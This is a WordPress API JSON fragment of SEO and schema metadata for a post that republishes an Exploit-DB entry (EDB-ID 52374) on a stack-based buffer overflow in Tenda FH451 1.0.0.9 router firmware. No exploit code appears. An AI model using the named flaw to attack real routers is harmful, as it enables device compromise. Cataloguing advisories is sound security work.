redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=8650","og_locale":"en_US","og_type":"article","og_title":"Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow Exploit ID EDB-ID:52374 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information...","og_url":"https:\/\/zero.redgem.net\/?p=8650","og_site_name":"zero redgem","article_published_time":"2025-07-22T05:51:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=8650#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=8650"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow","datePublished":"2025-07-22T05:51:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=8650"},"wordCount":1222,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-9.0","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=8650#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=8650","url":"https:\/\/zero.redgem.net\/?p=8650","name":"Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-07-22T05:51:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=8650#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=8650"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=8650#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/8650","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8650"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/8650\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8650"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8650"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8650"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}